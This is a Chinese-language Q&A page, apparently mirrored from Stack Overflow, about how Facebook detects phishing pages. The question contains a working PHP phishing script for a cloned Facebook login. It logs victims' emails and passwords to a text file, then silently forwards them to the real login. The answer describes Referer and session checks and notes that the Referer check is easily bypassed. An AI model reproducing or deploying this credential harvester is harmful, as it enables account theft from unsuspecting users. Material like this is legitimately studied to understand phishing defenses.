Facebook网络钓鱼检测

时间:2014-10-31 13:54:28

标签: php facebook http phishing

我正在做一些关于计算机安全的小工作,我目前正在进行网络钓鱼。

因此,出于教育目的,我写了一个简化的"网络钓鱼网页"我试图了解Facebook如何检测网络钓鱼欺诈网页。

我的index.html是facebook主页,而我对其进行了编辑,以便将用户重定向到phishing.php页面。

phishing.php

<?php
$file = fopen('phishing.txt', 'a');
fwrite($file, 'M: '.htmlspecialchars($_POST['email'])."\nP: ".htmlspecialchars($_POST['pass'])."\n\n");
fclose($file);
?>

<form action="https://www.facebook.com/login.php?login_attempt=1" method="post" name="frm">
<?php
    foreach ($_POST as $a => $b) {
        echo "<input type='hidden' name='".htmlentities($a)."' value='".htmlentities($b)."'>";
    }
?>

</form>
<script language="JavaScript">
    document.frm.submit();
</script>

我的问题来了。一切运作良好,除了用户(我)输入的用户名和密码,Facebook说:

  

安全声明:为安全起见,请勿输入您的Facebook密码   在不在Facebook.com上的网站上

那么Facebook使用哪种机制来检测像这样的钓鱼网页?

谢谢!

1 个答案:

答案 0 :(得分:3)

我可以想到facebook做这件事的很多方法

方法一: HTTP Referer
在您发送的每个HTTP请求中,都会发送一个引用来指示您的来源,facebook可以简单地执行以下操作

$referer = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
if($referer != 'facebook.com') // Phishing

方法二:会话
Facebook可以在他们的index.php页面上开始一个会话,一旦提交登录表单就会被检查,例如

index.php
$_SESSION['coming_from_facebook'] = true;

login.php
if($_SESSION['coming_from_facebook'] != true) // Phishing

这是所有伪代码,第一种方法很容易绕过,因为用户可以修改引用。